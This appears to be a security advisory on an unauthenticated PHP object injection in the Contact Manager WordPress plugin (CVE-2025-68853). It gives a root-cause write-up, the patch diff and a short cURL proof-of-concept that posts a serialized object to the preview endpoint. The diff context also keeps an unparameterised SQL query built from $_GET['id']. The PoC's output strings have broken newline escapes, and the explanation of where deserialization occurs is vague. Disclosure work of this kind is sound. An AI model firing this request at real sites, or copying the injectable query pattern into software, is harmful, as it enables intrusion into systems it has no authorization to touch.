Atomic Edge analysis of CVE-2025-68853:
This vulnerability is an unauthenticated PHP Object Injection flaw in the Contact Manager WordPress plugin, affecting versions up to and including 9.1. The flaw resides in the plugin’s preview functionality, allowing attackers to inject malicious objects via deserialization. The CVSS score of 8.1 reflects the high severity of this issue.
The root cause is an insecure direct object reference (IDOR) in the preview variable setting endpoint. In the vulnerable version, the file `/contact-manager/index.php` (line 27) processes requests to the `set-preview-variables` action without any authentication or authorization checks. The code directly assigns the `$_POST` array to a session variable after casting values to strings. This endpoint is accessible via a POST request to `contact_url(‘index.php’)?action=set-preview-variables`. The vulnerability is triggered because the endpoint lacks a secret key validation mechanism, making it accessible to any unauthenticated user.
Exploitation requires an attacker to send a crafted POST request to the vulnerable endpoint. The target URL is typically `/wp-content/plugins/contact-manager/index.php?action=set-preview-variables`. The attacker must include a serialized PHP object as a POST parameter. While the `array_map(‘strval’, $_POST)` call casts values to strings, the deserialization occurs elsewhere in the plugin’s code when the stored session data is later retrieved and processed. The Atomic Edge research indicates no known POP chain exists within the plugin itself, but a chain from another component could enable full exploitation.
The patch introduces an authentication key check. The fix modifies two files. In `/contact-manager/form-page.php` (line 764) and `/contact-manager/options-page.php` (line 841), the JavaScript AJAX call is updated to append a `key` parameter with the value `md5(AUTH_KEY)`. Correspondingly, in `/contact-manager/index.php` (line 27), the condition for processing the `set-preview-variables` action now requires the presence and correctness of this `key` GET parameter (`$_GET[‘key’] == md5(AUTH_KEY)`). This change ensures the endpoint is only accessible to requests originating from the plugin’s own admin interface, which knows the `AUTH_KEY` constant.
Successful exploitation could lead to arbitrary object injection. If a suitable POP chain is present on the target system, an attacker could achieve remote code execution, sensitive data disclosure, or arbitrary file deletion. The unauthenticated nature of the attack significantly lowers the barrier for exploitation, increasing the potential impact on vulnerable WordPress installations.
--- a/contact-manager/contact-manager.php
+++ b/contact-manager/contact-manager.php
@@ -3,7 +3,7 @@
Plugin Name: Contact Manager
Plugin URI: https://www.kleor.com/contact-manager/
Description: Allows you to create and manage your contact forms and messages.
-Version: 9.1
+Version: 9.1.1
Author: Kleor
Author URI: https://www.kleor.com
Text Domain: contact-manager
--- a/contact-manager/form-page.php
+++ b/contact-manager/form-page.php
@@ -41,21 +41,22 @@
else {
include contact_path('admin-pages.php'); include contact_path('tables.php');
-foreach ($tables[$table_slug] as $key => $value) { if (!isset($_POST[$key])) { $_POST[$key] = ''; } }
if ((isset($_POST['submit'])) && (check_admin_referer($_GET['page']))) {
+foreach ($tables[$table_slug] as $key => $value) { if (!isset($_POST[$key])) { $_POST[$key] = ''; } }
if (!current_user_can('manage_contact_manager')) { $_POST = array(); $error = __('You don't have sufficient permissions.', 'contact-manager'); }
else {
foreach ($_POST as $key => $value) {
if (is_string($value)) { $_POST[$key] = stripslashes(html_entity_decode(str_replace(array(' ', '[', ']'), array(' ', '[', ']'), $value))); } }
$back_office_options = update_contact_manager_back_office($back_office_options, $admin_page);
include contact_path('includes/update-form.php'); } }
+else { foreach ($tables[$table_slug] as $key => $value) { $_POST[$key] = ''; } }
if (isset($_GET['id'])) {
$item_data = $wpdb->get_row("SELECT * FROM ".$wpdb->prefix."contact_manager_".$table_slug." WHERE id = ".$_GET['id'], OBJECT);
if ($item_data) {
$GLOBALS['contact_'.$admin_page.'_data'] = (array) $item_data;
$GLOBALS['contact_'.$admin_page.'_id'] = $item_data->id;
-foreach ($item_data as $key => $value) { if ((!isset($_POST[$key])) || (!isset($_POST[$key.'_error']))) { $_POST[$key] = $value; } } }
+foreach ($item_data as $key => $value) { if ((empty($_POST[$key])) || (empty($_POST[$key.'_error']))) { $_POST[$key] = $value; } } }
elseif (!headers_sent()) { header('Location: admin.php?page=contact-manager-forms'.($is_category ? '-categories' : '')); exit(); }
else { echo '<script>window.location = "admin.php?page=contact-manager-forms'.($is_category ? '-categories' : '').'";</script>'; } }
else { $GLOBALS['contact_'.$admin_page.'_id'] = 0; $GLOBALS['contact_'.$admin_page.'_data'] = array(); }
@@ -764,7 +765,7 @@
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) { window.open("<?php echo HOME_URL; ?>/?plugin=contact-manager&action=preview&field="+field<?php if ((!$is_category) && (isset($_GET['id']))) { echo '+"&id='.$_GET['id'].'"'; } ?>, "_blank"); } };
-xhr.open("POST", "<?php echo contact_url('index.php'); ?>?action=set-preview-variables");
+xhr.open("POST", "<?php echo HOME_URL; ?>?plugin=contact-manager&action=set-preview-variables&key=<?php echo md5(AUTH_KEY); ?>");
data = new FormData();
data.append(field, form[field].value);
xhr.send(data); }
--- a/contact-manager/index.php
+++ b/contact-manager/index.php
@@ -27,7 +27,7 @@
echo $selector; } }
if (isset($link)) { mysqli_close($link); } } }
-elseif ((isset($_GET['action'])) && ($_GET['action'] == 'set-preview-variables')) { @session_start(); $_SESSION['contact_preview_variables'] = array_map('strval', $_POST); session_write_close(); }
+elseif ((isset($_GET['action'])) && ($_GET['action'] == 'set-preview-variables') && (isset($_GET['key'])) && ($_GET['key'] == md5(AUTH_KEY))) { @session_start(); $_SESSION['contact_preview_variables'] = array_map('strval', $_POST); session_write_close(); }
elseif ((isset($_GET['action'])) || (isset($_GET['url']))) {
if (function_exists('contact_data')) {
--- a/contact-manager/message-page.php
+++ b/contact-manager/message-page.php
@@ -56,21 +56,22 @@
else {
include contact_path('admin-pages.php'); include contact_path('tables.php');
-foreach ($tables['messages'] as $key => $value) { if (!isset($_POST[$key])) { $_POST[$key] = ''; } }
if ((isset($_POST['submit'])) && (check_admin_referer($_GET['page']))) {
+foreach ($tables['messages'] as $key => $value) { if (!isset($_POST[$key])) { $_POST[$key] = ''; } }
if (!current_user_can('manage_contact_manager')) { $_POST = array(); $error = __('You don't have sufficient permissions.', 'contact-manager'); }
else {
foreach ($_POST as $key => $value) {
if (is_string($value)) { $_POST[$key] = stripslashes(html_entity_decode(str_replace(array(' ', '[', ']'), array(' ', '[', ']'), $value))); } }
$back_office_options = update_contact_manager_back_office($back_office_options, 'message');
include contact_path('includes/update-form.php'); } }
+else { foreach ($tables['messages'] as $key => $value) { $_POST[$key] = ''; } }
if (isset($_GET['id'])) {
$message_data = $wpdb->get_row("SELECT * FROM ".$wpdb->prefix."contact_manager_messages WHERE id = ".$_GET['id'], OBJECT);
if ($message_data) {
$GLOBALS['message_data'] = (array) $message_data;
$GLOBALS['message_id'] = $message_data->id;
-foreach ($message_data as $key => $value) { if ((!isset($_POST[$key])) || (!isset($_POST[$key.'_error']))) { $_POST[$key] = $value; } }
+foreach ($message_data as $key => $value) { if ((empty($_POST[$key])) || (empty($_POST[$key.'_error']))) { $_POST[$key] = $value; } }
foreach (array('subject', 'content') as $field) { $_POST[$field] = str_replace(array('<', '>', '[', ']'), array('<', '>', '[', ']'), $_POST[$field]); } }
elseif (!headers_sent()) { header('Location: admin.php?page=contact-manager-messages'); exit(); }
else { echo '<script>window.location = "admin.php?page=contact-manager-messages";</script>'; } }
--- a/contact-manager/options-page.php
+++ b/contact-manager/options-page.php
@@ -841,7 +841,7 @@
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) { window.open("<?php echo HOME_URL; ?>/?plugin=contact-manager&action=preview&field="+field, "_blank"); } };
-xhr.open("POST", "<?php echo contact_url('index.php'); ?>?action=set-preview-variables");
+xhr.open("POST", "<?php echo HOME_URL; ?>?plugin=contact-manager&action=set-preview-variables&key=<?php echo md5(AUTH_KEY); ?>");
data = new FormData();
data.append(field, form[field].value);
xhr.send(data); }
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68853 - Contact Manager <= 9.1 - Unauthenticated PHP Object Injection
<?php
// CONFIGURATION
$target_url = 'http://target.site/wp-content/plugins/contact-manager/index.php';
$action_param = '?action=set-preview-variables';
// Craft a serialized payload. This is a generic example.
// A real exploit requires a specific POP chain (Property-Oriented Programming).
$malicious_object = 'O:8:"stdClass":1:{s:4:"test";s:10:"injection";}';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $action_param);
curl_setopt($ch, CURLOPT_POST, true);
// The parameter name can be arbitrary; the entire POST array is stored.
curl_setopt($ch, CURLOPT_POSTFIELDS, ['injected_param' => $malicious_object]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Follow redirects if any
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check response
if ($http_code == 200) {
echo "[*] Request sent. The payload may have been injected if the endpoint was vulnerable.n";
echo "[*] The session variable 'contact_preview_variables' was set.n";
echo "[*] Exploitation success depends on a usable POP chain on the target.n";
} else {
echo "[!] Request failed with HTTP code: $http_coden";
}
?>